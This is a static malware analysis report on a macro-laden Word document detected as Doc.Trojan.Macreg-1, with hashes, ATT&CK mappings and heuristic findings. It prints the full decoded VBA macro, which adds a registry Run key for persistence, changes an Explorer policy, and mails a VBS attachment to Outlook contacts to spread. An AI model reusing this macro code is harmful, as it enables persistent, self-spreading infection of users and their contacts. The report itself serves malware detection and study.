Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 58134ce47097ad06…

MALICIOUS

Office (OLE)

27.5 KB Created: 2003-01-03 23:12:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: c747d0ed31f4e657000a15d4607e6955 SHA-1: 82b8e5155a60801133f5b3c33ea8b1f6591fc3f2 SHA-256: 58134ce47097ad0684f064a62d6781852b00cf8b840cfde3db3af6b1b02b9516
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The VBA macro uses WScript.Shell to write a registry key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run\注册表自动备份' with the value 'scanregw.exe.vbs', establishing persistence. It also attempts to disable folder settings via 'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders'. Subsequently, it uses Outlook to send an email with 'scanregw.exe.vbs' as an attachment to contacts, likely to spread the malware.

Heuristics 5

  • ClamAV: Doc.Trojan.Macreg-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Macreg-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim r
Set r = CreateObject("Wscript.Shell")
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\注册表自动备份", "scanregw.exe.vbs"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next
Set fs = CreateObject("Scripting.FileSystemObject")
Set dir1 = fs.GetSpecialFolder(0)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1190 bytes
SHA-256: 97f291d33119ac1c13dcc72158ba81fa94f5a3950063b1bd96f0128a9e552b67
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Set fs = CreateObject("Scripting.FileSystemObject")
Set dir1 = fs.GetSpecialFolder(0)
Set dir2 = fs.GetSpecialFolder(1)
Set so = CreateObject("Scripting.FileSystemObject")
Dim r
Set r = CreateObject("Wscript.Shell")
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\注册表自动备份", "scanregw.exe.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders", 1, "REG_DWORD"
Set ol = CreateObject("Outlook.Application")
On Error Resume Next
For x = 1 To 2
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject = "新年快乐！"
Mail.Body = "新年快乐、祝您好运！            独行者"
Mail.Attachments.Add (dir2 & ("scanregw.exe.vbs"))
Mail.Send
Next
ol.Quit
End Sub

Private Sub Document_New()

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.